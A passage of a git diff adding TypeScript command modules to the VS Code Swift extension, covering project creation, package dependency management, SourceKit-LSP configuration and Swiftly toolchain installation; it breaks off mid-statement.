(chunk as Buffer).toString("utf8").trim(); + const percent = /^([0-9]+)%/.exec(str); + if (percent && percent[1]) { + updateProgress(percent[1]); + } + + callback(); + }, + }); +} + +function showDirectoryCommand(dir: string): string { + switch (process.platform) { + case "win32": + return `explorer ${dir}`; + case "darwin": + return `open ${dir}`; + default: + return `xdg-open ${dir}`; + } +} + +function showCommandType(): string { + switch (process.platform) { + case "win32": + return "Explorer"; + case "darwin": + return "Finder"; + default: + return "File Manager"; + } +} + +function severityToString(severity: vscode.DiagnosticSeverity): string { + switch (severity) { + case vscode.DiagnosticSeverity.Error: + return "Error"; + case vscode.DiagnosticSeverity.Warning: + return "Warning"; + case vscode.DiagnosticSeverity.Information: + return "Information"; + case vscode.DiagnosticSeverity.Hint: + return "Hint"; + } +} + +function formatDateString(date: Date): string { + const padZero = (num: number, length: number = 2) => num.toString().padStart(length, "0"); + + const year = date.getFullYear(); + const month = padZero(date.getMonth() + 1); + const day = padZero(date.getDate()); + const hours = padZero(date.getHours()); + const minutes = padZero(date.getMinutes()); + const seconds = padZero(date.getSeconds()); + const timezoneOffset = -date.getTimezoneOffset(); + const timezoneSign = timezoneOffset >= 0 ? "+" : "-"; + const timezoneHours = padZero(Math.floor(Math.abs(timezoneOffset) / 60)); + const timezoneMinutes = padZero(Math.abs(timezoneOffset) % 60); + return `${year}-${month}-${day}T${hours}-${minutes}-${seconds}${timezoneSign}${timezoneHours}-${timezoneMinutes}`; +} diff --git a/src/commands/createNewProject.ts b/src/commands/createNewProject.ts new file mode 100644 index 000000000..8cd6f9b7e --- /dev/null +++ b/src/commands/createNewProject.ts @@ -0,0 +1,185 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +import configuration from "../configuration"; +import { SwiftProjectTemplate, SwiftToolchain } from "../toolchain/toolchain"; +import { showToolchainError } from "../ui/ToolchainSelection"; +import { withDelayedProgress } from "../ui/withDelayedProgress"; +import { execSwift } from "../utilities/utilities"; +import { Version } from "../utilities/version"; + +/** + * Prompts the user to input project details and then executes `swift package init` + * to create the project. + */ +export async function createNewProject(toolchain: SwiftToolchain | undefined): Promise { + // It is possible for this command to be run without a valid toolchain because it can be + // run before the Swift extension is activated. Show the toolchain error notification in + // this case. + if (!toolchain) { + void showToolchainError(); + return; + } + + // The context key `swift.createNewProjectAvailable` only works if the extension has been + // activated. As such, we also have to allow this command to run when no workspace is + // active. Show an error to the user if the command is unavailable. + if (!toolchain.swiftVersion.isGreaterThanOrEqual(new Version(5, 8, 0))) { + void vscode.window.showErrorMessage( + "Creating a new swift project is only available starting in swift version 5.8.0." + ); + return; + } + + // Prompt the user for the type of project they would like to create + const availableProjectTemplates = await toolchain.getProjectTemplates(); + const selectedProjectTemplate = await vscode.window.showQuickPick< + vscode.QuickPickItem & { type: SwiftProjectTemplate } + >( + availableProjectTemplates.map(type => ({ + label: type.name, + description: type.id, + detail: type.description, + type, + })), + { + placeHolder: "Select a swift project template", + } + ); + if (!selectedProjectTemplate) { + return undefined; + } + const projectType = selectedProjectTemplate.type.id; + + // Prompt the user for a location in which to create the new project + const selectedFolder = await vscode.window.showOpenDialog({ + title: "Select a folder to create a new swift project in", + openLabel: "Select folder", + canSelectFiles: false, + canSelectFolders: true, + canSelectMany: false, + }); + if (!selectedFolder || selectedFolder.length === 0) { + return undefined; + } + + // Prompt the user for the project name + const existingNames = await fs.readdir(selectedFolder[0].fsPath, { encoding: "utf-8" }); + let initialValue = `swift-${projectType}`; + for (let i = 1; ; i++) { + if (!existingNames.includes(initialValue)) { + break; + } + initialValue = `swift-${projectType}-${i}`; + } + const projectName = await vscode.window.showInputBox({ + value: initialValue, + prompt: "Enter a name for your new swift project", + validateInput(value) { + // Swift Package Manager doesn't seem to do any validation on the name. + // So, we'll just check for obvious failure cases involving mkdir. + if (value.trim() === "") { + return "Project name cannot be empty."; + } else if (value.includes("/") || value.includes("\\")) { + return "Project name cannot contain '/' or '\\' characters."; + } else if (value === "." || value === "..") { + return "Project name cannot be '.' or '..'."; + } + // Ensure there are no name collisions + if (existingNames.includes(value)) { + return "A file/folder with this name already exists."; + } + return undefined; + }, + }); + if (projectName === undefined) { + return undefined; + } + + // Create the folder that will store the new project + const projectUri = vscode.Uri.joinPath(selectedFolder[0], projectName); + await fs.mkdir(projectUri.fsPath); + + // Use swift package manager to initialize the swift project + await withDelayedProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Creating swift project ${projectName}`, + }, + async () => { + await execSwift( + ["package", "init", "--type", projectType, "--name", projectName], + toolchain, + { + cwd: projectUri.fsPath, + } + ); + }, + 1000 + ); + + // Prompt the user whether or not they want to open the newly created project + const isWorkspaceOpened = !!vscode.workspace.workspaceFolders; + const openAfterCreate = configuration.openAfterCreateNewProject; + + let action: "open" | "openNewWindow" | "addToWorkspace" | undefined; + if (openAfterCreate === "always") { + action = "open"; + } else if (openAfterCreate === "alwaysNewWindow") { + action = "openNewWindow"; + } else if (openAfterCreate === "whenNoFolderOpen" && !isWorkspaceOpened) { + action = "open"; + } + + if (action === undefined) { + let message = `Would you like to open ${projectName}?`; + const open = "Open"; + const openNewWindow = "Open in New Window"; + const choices = [open, openNewWindow]; + + const addToWorkspace = "Add to Workspace"; + if (isWorkspaceOpened) { + message = `Would you like to open ${projectName}, or add it to the current workspace?`; + choices.push(addToWorkspace); + } + + const result = await vscode.window.showInformationMessage( + message, + { modal: true, detail: "The default action can be configured in settings" }, + ...choices + ); + if (result === open) { + action = "open"; + } else if (result === openNewWindow) { + action = "openNewWindow"; + } else if (result === addToWorkspace) { + action = "addToWorkspace"; + } + } + + if (action === "open") { + await vscode.commands.executeCommand("vscode.openFolder", projectUri, { + forceReuseWindow: true, + }); + } else if (action === "openNewWindow") { + await vscode.commands.executeCommand("vscode.openFolder", projectUri, { + forceNewWindow: true, + }); + } else if (action === "addToWorkspace") { + const index = vscode.workspace.workspaceFolders?.length ?? 0; + vscode.workspace.updateWorkspaceFolders(index, 0, { uri: projectUri }); + } +} diff --git a/src/commands/dependencies/edit.ts b/src/commands/dependencies/edit.ts new file mode 100644 index 000000000..0051164a2 --- /dev/null +++ b/src/commands/dependencies/edit.ts @@ -0,0 +1,64 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../../FolderContext"; +import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; +import { createSwiftTask } from "../../tasks/SwiftTaskProvider"; +import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI } from "../utilities"; + +/** + * Setup package dependency to be edited + * @param identifier Identifier of dependency we want to edit + * @param ctx workspace context + */ +export async function editDependency( + identifier: string, + ctx: WorkspaceContext, + folder: FolderContext | undefined +) { + const currentFolder = folder ?? ctx.currentFolder; + if (!currentFolder) { + return; + } + + const task = createSwiftTask( + ["package", "edit", identifier], + "Edit Package Dependency", + { + scope: currentFolder.workspaceFolder, + cwd: currentFolder.folder, + packageName: packageName(currentFolder), + }, + currentFolder.toolchain + ); + + const success = await executeTaskWithUI( + task, + `edit locally ${identifier}`, + currentFolder, + true + ); + + if (success) { + await ctx.fireEvent(currentFolder, FolderOperation.resolvedUpdated); + // add folder to workspace + const index = vscode.workspace.workspaceFolders?.length ?? 0; + vscode.workspace.updateWorkspaceFolders(index, 0, { + uri: vscode.Uri.file(currentFolder.editedPackageFolder(identifier)), + name: identifier, + }); + } +} diff --git a/src/commands/dependencies/resolve.ts b/src/commands/dependencies/resolve.ts new file mode 100644 index 000000000..e2d28f7a9 --- /dev/null +++ b/src/commands/dependencies/resolve.ts @@ -0,0 +1,62 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../../FolderContext"; +import { WorkspaceContext } from "../../WorkspaceContext"; +import { SwiftTaskProvider, createSwiftTask } from "../../tasks/SwiftTaskProvider"; +import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI, updateAfterError } from "../utilities"; + +/** + * Executes a {@link vscode.Task task} to resolve this package's dependencies. + */ +export async function resolveDependencies(ctx: WorkspaceContext) { + const current = ctx.currentFolder; + if (!current) { + return false; + } + return await resolveFolderDependencies(current); +} + +/** + * Run `swift package resolve` inside a folder + * @param folderContext folder to run resolve for + */ +export async function resolveFolderDependencies( + folderContext: FolderContext, + checkAlreadyRunning?: boolean +) { + const task = createSwiftTask( + ["package", "resolve"], + SwiftTaskProvider.resolvePackageName, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + packageName: packageName(folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, + }, + folderContext.toolchain + ); + + const success = await executeTaskWithUI( + task, + "Resolving Dependencies", + folderContext, + false, + checkAlreadyRunning + ); + updateAfterError(success, folderContext); + return success; +} diff --git a/src/commands/dependencies/unedit.ts b/src/commands/dependencies/unedit.ts new file mode 100644 index 000000000..346029737 --- /dev/null +++ b/src/commands/dependencies/unedit.ts @@ -0,0 +1,102 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as fs from "fs/promises"; +import * as vscode from "vscode"; + +import { FolderContext } from "../../FolderContext"; +import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; +import { SwiftExecOperation } from "../../tasks/TaskQueue"; + +/** + * Stop local editing of package dependency + * @param identifier Identifier of dependency + * @param ctx workspace context + */ +export async function uneditDependency( + identifier: string, + ctx: WorkspaceContext, + folder: FolderContext | undefined +) { + const currentFolder = folder ?? ctx.currentFolder; + if (!currentFolder) { + ctx.logger.debug("currentFolder is not set."); + return false; + } + ctx.logger.debug(`unedit dependency ${identifier}`, currentFolder.name); + const status = `Reverting edited dependency ${identifier} (${currentFolder.name})`; + return await ctx.statusItem.showStatusWhileRunning(status, async () => { + return await uneditFolderDependency(currentFolder, identifier, ctx); + }); +} + +async function uneditFolderDependency( + folder: FolderContext, + identifier: string, + ctx: WorkspaceContext, + args: string[] = [] +) { + try { + const uneditOperation = new SwiftExecOperation( + folder.toolchain.buildFlags.withAdditionalFlags([ + "package", + "unedit", + ...args, + identifier, + ]), + folder, + `Finish editing ${identifier}`, + { showStatusItem: true, checkAlreadyRunning: false, log: "Unedit" }, + () => { + // do nothing. Just want to run the process on the Task queue to ensure it + // doesn't clash with another swifr process + } + ); + await folder.taskQueue.queueOperation(uneditOperation); + + await ctx.fireEvent(folder, FolderOperation.resolvedUpdated); + // find workspace folder, and check folder still exists + const folderIndex = vscode.workspace.workspaceFolders?.findIndex( + item => item.name === identifier + ); + if (folderIndex) { + try { + // check folder exists. if error thrown remove folder + await fs.stat(vscode.workspace.workspaceFolders![folderIndex].uri.fsPath); + } catch { + vscode.workspace.updateWorkspaceFolders(folderIndex, 1); + } + } + return true; + } catch (error) { + const execError = error as { stderr: string }; + // if error contains "has uncommited changes" then ask if user wants to force the unedit + if (execError.stderr.match(/has uncommited changes/)) { + const result = await vscode.window.showWarningMessage( + `${identifier} has uncommitted changes. Are you sure you want to continue?`, + "Yes", + "No" + ); + + if (result === "No") { + ctx.logger.error(execError.stderr, folder.name); + return false; + } + await uneditFolderDependency(folder, identifier, ctx, ["--force"]); + } else { + ctx.logger.error(execError.stderr, folder.name); + void vscode.window.showErrorMessage(`${execError.stderr}`); + } + return false; + } +} diff --git a/src/commands/dependencies/update.ts b/src/commands/dependencies/update.ts new file mode 100644 index 000000000..3a5c4ef45 --- /dev/null +++ b/src/commands/dependencies/update.ts @@ -0,0 +1,54 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderContext } from "../../FolderContext"; +import { WorkspaceContext } from "../../WorkspaceContext"; +import { SwiftTaskProvider, createSwiftTask } from "../../tasks/SwiftTaskProvider"; +import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI, updateAfterError } from "./../utilities"; + +/** + * Executes a {@link vscode.Task task} to update this package's dependencies. + */ +export async function updateDependencies(ctx: WorkspaceContext) { + const current = ctx.currentFolder; + if (!current) { + ctx.logger.debug("currentFolder is not set.", "updateDependencies"); + return false; + } + return await updateFolderDependencies(current); +} + +/** + * Run `swift package update` inside a folder + * @param folderContext folder to run update inside + */ +export async function updateFolderDependencies(folderContext: FolderContext) { + const task = createSwiftTask( + ["package", "update"], + SwiftTaskProvider.updatePackageName, + { + cwd: folderContext.folder, + scope: folderContext.workspaceFolder, + packageName: packageName(folderContext), + presentationOptions: { reveal: vscode.TaskRevealKind.Silent }, + }, + folderContext.toolchain + ); + + const result = await executeTaskWithUI(task, "Updating Dependencies", folderContext); + updateAfterError(result, folderContext); + return result; +} diff --git a/src/commands/dependencies/updateDepViewList.ts b/src/commands/dependencies/updateDepViewList.ts new file mode 100644 index 000000000..f925113ff --- /dev/null +++ b/src/commands/dependencies/updateDepViewList.ts @@ -0,0 +1,21 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; + +export function updateDependenciesViewList(ctx: WorkspaceContext, flatList: boolean) { + if (ctx.currentFolder) { + ctx.contextKeys.flatDependenciesList = flatList; + void ctx.fireEvent(ctx.currentFolder, FolderOperation.packageViewUpdated); + } +} diff --git a/src/commands/dependencies/useLocal.ts b/src/commands/dependencies/useLocal.ts new file mode 100644 index 000000000..8db43bb81 --- /dev/null +++ b/src/commands/dependencies/useLocal.ts @@ -0,0 +1,89 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { FolderOperation, WorkspaceContext } from "../../WorkspaceContext"; +import { createSwiftTask } from "../../tasks/SwiftTaskProvider"; +import { packageName } from "../../utilities/tasks"; +import { executeTaskWithUI } from "../utilities"; + +/** + * Use local version of package dependency + * + * equivalent of `swift package edit --path identifier + * @param identifier Identifier for dependency + * @param ctx workspace context + */ +export async function useLocalDependency( + identifier: string, + ctx: WorkspaceContext, + dep: vscode.Uri | undefined +): Promise { + const currentFolder = ctx.currentFolder; + if (!currentFolder) { + ctx.logger.debug("currentFolder is not set.", "useLocalDependency"); + return false; + } + let folder = dep; + if (!folder) { + const folders = await vscode.window.showOpenDialog({ + canSelectFiles: false, + canSelectFolders: true, + canSelectMany: false, + defaultUri: currentFolder.folder, + openLabel: "Select", + title: "Select folder", + }); + if (!folders) { + return false; + } + folder = folders[0]; + } + const task = createSwiftTask( + currentFolder.toolchain.buildFlags.withAdditionalFlags([ + "package", + "edit", + "--path", + folder.fsPath, + identifier, + ]), + "Edit Package Dependency", + { + scope: currentFolder.workspaceFolder, + cwd: currentFolder.folder, + packageName: packageName(currentFolder), + }, + currentFolder.toolchain + ); + + ctx.logger.debug( + `Placing dependency "${identifier}" in "editing" state with task: ${task.definition}` + ); + + const success = await executeTaskWithUI( + task, + `Use local version of ${identifier}`, + currentFolder, + true + ); + + ctx.logger.debug( + `Finished placing dependency "${identifier}" in "editing" state, success: ${success}` + ); + + if (success) { + await ctx.fireEvent(currentFolder, FolderOperation.resolvedUpdated); + } + return success; +} diff --git a/src/commands/generateLaunchConfigurations.ts b/src/commands/generateLaunchConfigurations.ts new file mode 100644 index 000000000..ee7ad9269 --- /dev/null +++ b/src/commands/generateLaunchConfigurations.ts @@ -0,0 +1,43 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; +import { makeDebugConfigurations } from "../debugger/launch"; +import { selectFolder } from "../ui/SelectFolderQuickPick"; + +export async function generateLaunchConfigurations(ctx: WorkspaceContext): Promise { + if (ctx.folders.length === 0) { + return false; + } + + if (ctx.folders.length === 1) { + return await makeDebugConfigurations(ctx.folders[0], { force: true, yes: true }); + } + + const foldersToUpdate: FolderContext[] = await selectFolder( + ctx, + "Select a folder to generate launch configurations for" + ); + if (!foldersToUpdate.length) { + return false; + } + + return ( + await Promise.all( + foldersToUpdate.map(folder => + makeDebugConfigurations(folder, { force: true, yes: true }) + ) + ) + ).reduceRight((prev, curr) => prev || curr); +} diff --git a/src/commands/generateSourcekitConfiguration.ts b/src/commands/generateSourcekitConfiguration.ts new file mode 100644 index 000000000..8ea269d29 --- /dev/null +++ b/src/commands/generateSourcekitConfiguration.ts @@ -0,0 +1,266 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { basename, dirname, join } from "path"; +import * as vscode from "vscode"; + +import { FolderContext } from "../FolderContext"; +import { WorkspaceContext } from "../WorkspaceContext"; +import configuration from "../configuration"; +import { selectFolder } from "../ui/SelectFolderQuickPick"; +import restartLSPServer from "./restartLSPServer"; + +export const sourcekitDotFolder: string = ".sourcekit-lsp"; +export const sourcekitConfigFileName: string = "config.json"; + +export async function generateSourcekitConfiguration(ctx: WorkspaceContext): Promise { + if (ctx.folders.length === 0) { + return false; + } + + if (ctx.folders.length === 1) { + const folder = ctx.folders[0]; + const success = await createSourcekitConfiguration(ctx, folder); + void vscode.window.showTextDocument(vscode.Uri.file(sourcekitConfigFilePath(folder))); + return success; + } + + const foldersToGenerate: FolderContext[] = await selectFolder( + ctx, + "Select a folder to generate a SourceKit-LSP configuration for" + ); + if (!foldersToGenerate.length) { + return false; + } + + return ( + await Promise.all( + foldersToGenerate.map(folder => createSourcekitConfiguration(ctx, folder)) + ) + ).reduceRight((prev, curr) => prev || curr); +} + +export const sourcekitFolderPath = (f: FolderContext) => join(f.folder.fsPath, sourcekitDotFolder); +export const sourcekitConfigFilePath = (f: FolderContext) => + join(sourcekitFolderPath(f), sourcekitConfigFileName); + +async function createSourcekitConfiguration( + workspaceContext: WorkspaceContext, + folderContext: FolderContext +): Promise { + const sourcekitFolder = vscode.Uri.file(sourcekitFolderPath(folderContext)); + const sourcekitConfigFile = vscode.Uri.file(sourcekitConfigFilePath(folderContext)); + + try { + await vscode.workspace.fs.stat(sourcekitConfigFile); + return true; + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + workspaceContext.logger.error( + `Failed to read file at ${sourcekitConfigFile.fsPath}: ${error}` + ); + } + // Ignore, don't care if the file doesn't exist yet + } + + try { + const stats = await vscode.workspace.fs.stat(sourcekitFolder); + if (stats.type !== vscode.FileType.Directory) { + void vscode.window.showErrorMessage( + `File ${sourcekitFolder.fsPath} already exists but is not a directory` + ); + return false; + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + workspaceContext.logger.error( + `Failed to read folder at ${sourcekitFolder.fsPath}: ${error}` + ); + } + await vscode.workspace.fs.createDirectory(sourcekitFolder); + } + try { + const url = await determineSchemaURL(folderContext); + await vscode.workspace.fs.writeFile( + sourcekitConfigFile, + Buffer.from( + JSON.stringify( + { + $schema: url, + }, + undefined, + 2 + ) + ) + ); + } catch (e) { + void vscode.window.showErrorMessage(`${e}`); + return false; + } + return true; +} + +const schemaURL = (branch: string) => + `https://raw.githubusercontent.com/swiftlang/sourcekit-lsp/refs/heads/${branch}/config.schema.json`; + +async function checkURLExists(url: string): Promise { + try { + const response = await fetch(url, { method: "HEAD" }); + if (response.ok) { + return true; + } else if (response.status !== 404) { + throw new Error(`Received exit code ${response.status} when trying to fetch ${url}`); + } + return false; + } catch { + return false; + } +} + +export async function determineSchemaURL(folderContext: FolderContext): Promise { + const version = folderContext.toolchain.swiftVersion; + const versionString = `${version.major}.${version.minor}`; + let branch = + configuration.lspConfigurationBranch || (version.dev ? "main" : `release/${versionString}`); + if (!(await checkURLExists(schemaURL(branch)))) { + branch = "main"; + } + return schemaURL(branch); +} + +async function getValidatedFolderContext( + uri: vscode.Uri, + workspaceContext: WorkspaceContext +): Promise { + const folder = await workspaceContext.getPackageFolder(uri); + if (!folder) { + return null; + } + const folderContext = folder as FolderContext; + if (!folderContext.name) { + return null; // Not a FolderContext if no "name" + } + if ( + !( + basename(dirname(uri.fsPath)) === sourcekitDotFolder && + basename(uri.fsPath) === sourcekitConfigFileName + ) + ) { + return null; + } + return folderContext; +} + +async function checkDocumentSchema(doc: vscode.TextDocument, workspaceContext: WorkspaceContext) { + const folderContext = await getValidatedFolderContext(doc.uri, workspaceContext); + if (!folderContext) { + return; + } + let buffer: Uint8Array; + try { + buffer = await vscode.workspace.fs.readFile(doc.uri); + } catch (error) { + if ((error as NodeJS.ErrnoException).code !== "ENOENT") { + workspaceContext.logger.error(`Failed to read file at ${doc.uri.fsPath}: ${error}`); + } + return; + } + let config; + try { + const contents = Buffer.from(buffer).toString("utf-8"); + config = JSON.parse(contents); + } catch (error) { + workspaceContext.logger.error(`Failed to parse JSON from ${doc.uri.fsPath}: ${error}`); + return; + } + const schema = config.$schema; + if (!schema) { + return; + } + const newUrl = await determineSchemaURL(folderContext); + if (newUrl === schema) { + return; + } + const result = await vscode.window.showInformationMessage( + `The $schema property for ${doc.uri.fsPath} is not set to the version of the Swift toolchain that you are using. Would you like to update the $schema property?`, + "Yes", + "No", + "Don't Ask Again" + ); + if (result === "Yes") { + config.$schema = newUrl; + await vscode.workspace.fs.writeFile( + doc.uri, + Buffer.from(JSON.stringify(config, undefined, 2)) + ); + return; + } else if (result === "Don't Ask Again") { + configuration.checkLspConfigurationSchema = false; + return; + } +} + +export async function handleSchemaUpdate( + doc: vscode.TextDocument, + workspaceContext: WorkspaceContext +) { + if (!configuration.checkLspConfigurationSchema) { + return; + } + await checkDocumentSchema(doc, workspaceContext); +} + +export function registerSourceKitSchemaWatcher( + workspaceContext: WorkspaceContext +): vscode.Disposable { + const onDidOpenDisposable = vscode.workspace.onDidOpenTextDocument(doc => { + void handleSchemaUpdate(doc, workspaceContext); + }); + const configFileWatcher = vscode.workspace.createFileSystemWatcher( + `**/${sourcekitDotFolder}/${sourcekitConfigFileName}` + ); + const onDidChangeDisposable = configFileWatcher.onDidChange(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + const onDidDeleteDisposable = configFileWatcher.onDidDelete(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + const onDidCreateDisposable = configFileWatcher.onDidCreate(async uri => { + await handleConfigFileChange(uri, workspaceContext); + }); + return vscode.Disposable.from( + onDidOpenDisposable, + configFileWatcher, + onDidChangeDisposable, + onDidDeleteDisposable, + onDidCreateDisposable + ); +} + +export async function handleConfigFileChange( + configUri: vscode.Uri, + workspaceContext: WorkspaceContext +): Promise { + const folderContext = await getValidatedFolderContext(configUri, workspaceContext); + if (!folderContext) { + return; + } + const result = await vscode.window.showInformationMessage( + `The SourceKit-LSP configuration file has been modified. Would you like to restart the language server to apply the changes?`, + "Restart LSP Server", + "Not Now" + ); + if (result === "Restart LSP Server") { + await restartLSPServer(workspaceContext); + } +} diff --git a/src/commands/insertFunctionComment.ts b/src/commands/insertFunctionComment.ts new file mode 100644 index 000000000..2bb7bde59 --- /dev/null +++ b/src/commands/insertFunctionComment.ts @@ -0,0 +1,30 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021-2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; + +/** + * Uses the workspace's comment completion provider to insert a function comment + * at the active line. + * @param workspaceContext Workspace context, required to get comment completion provider + */ +export async function insertFunctionComment(workspaceContext: WorkspaceContext) { + const activeEditor = vscode.window.activeTextEditor; + if (!activeEditor) { + return; + } + const line = activeEditor.selection.active.line; + await workspaceContext.commentCompletionProvider.insert(activeEditor, line); +} diff --git a/src/commands/installSwiftlyToolchain.ts b/src/commands/installSwiftlyToolchain.ts new file mode 100644 index 000000000..6af34275b --- /dev/null +++ b/src/commands/installSwiftlyToolchain.ts @@ -0,0 +1,216 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import * as vscode from "vscode"; + +import { WorkspaceContext } from "../WorkspaceContext"; +import { SwiftLogger } from "../logging/SwiftLogger"; +import { Swiftly, SwiftlyProgressData } from "../toolchain/swiftly"; +import { SwiftToolchain } from "../toolchain/toolchain"; +import { + askWhereToSetToolchain, + setToolchainPath, + showDeveloperDirQuickPick, +} from "../ui/ToolchainSelection"; + +/** + * Installs a Swiftly toolchain and shows a progress notification to the user. + * + * @param version The toolchain version to install + * @param logger Optional logger for error reporting + * @returns Promise true if installation succeeded, false otherwise + */ +export async function installSwiftlyToolchainWithProgress( + version: string, + extensionRoot: string, + logger?: SwiftLogger +): Promise { + try { + await vscode.window.withProgress( + { + location: vscode.ProgressLocation.Notification, + title: `Installing Swift ${version}`, + cancellable: true, + }, + async (progress, token) => { + progress.report({ message: "Starting installation..." }); + + let lastProgress = 0; + + await Swiftly.installToolchain( + version, + extensionRoot, + (progressData: SwiftlyProgressData) => { + if (progressData.complete) { + // Swiftly will also verify the signature and extract the toolchain after the + // "complete" message has been sent, but does not report progress for this. + // Provide a suitable message in this case and reset the progress back to an + // indeterminate state (0) since we don't know how long it will take. + progress.report({ + message: "Verifying signature and extracting...", + increment: -lastProgress, + }); + return; + } + if (!progressData.step) { + return; + } + const increment = progressData.step.percent - lastProgress; + progress.report({ + increment, + message: + progressData.step.text ?? `${progressData.step.percent}% complete`, + }); + lastProgress = progressData.step.percent; + }, + logger, + token + ); + } + ); + + void vscode.window.showInformationMessage(`Successfully installed Swift ${version}`); + + return true; + } catch (error) { + const errorMessage = (error as Error).message; + if (errorMessage.includes(Swiftly.cancellationMessage)) { + logger?.info(`Installation of Swift ${version} was cancelled by user`); + // Don't show error message for user-initiated cancellation + return false; + } + + logger?.error(new Error(`Failed to install Swift ${version}`, { cause: error })); + void vscode.window.showErrorMessage(`Failed to install Swift ${version}: ${error}`); + return false; + } +} + +/** + * Shows a quick pick dialog to install available Swiftly toolchains + */ +export async function promptToInstallSwiftlyToolchain( + ctx: WorkspaceContext, + type: "stable" | "snapshot" +): Promise { + if (!Swiftly.isSupported()) { + ctx.logger?.warn("Swiftly is not supported on this platform."); + void vscode.window.showErrorMessage( + "Swiftly is not supported on this platform. Only macOS and Linux are supported." + ); + return; + } + + if (!(await Swiftly.isInstalled())) { + ctx.logger?.warn("Swiftly is not installed."); + void vscode.window.showErrorMessage( + "Swiftly is not installed. Please install Swiftly first from https://www.swift.org/install/" + ); + return; + } + + let branch: string | undefined = undefined; + if (type === "snapshot") { + // Prompt user to enter the branch for snapshot toolchains + branch = await vscode.window.showInputBox({ + title: "Enter Swift Snapshot Branch", + prompt: "Enter the branch name to list snapshot toolchains (e.g., 'main-snapshot', '6.1-snapshot')", + placeHolder: "main-snapshot", + value: "main-snapshot", + }); + if (!branch) { + return; // User cancelled input + } + } + + const availableToolchains = await Swiftly.listAvailable(branch, ctx.logger); + + if (availableToolchains.length === 0) { + ctx.logger?.debug("No toolchains available for installation via Swiftly."); + void vscode.window.showInformationMessage( + "No toolchains are available for installation via Swiftly." + ); + return; + } + + const 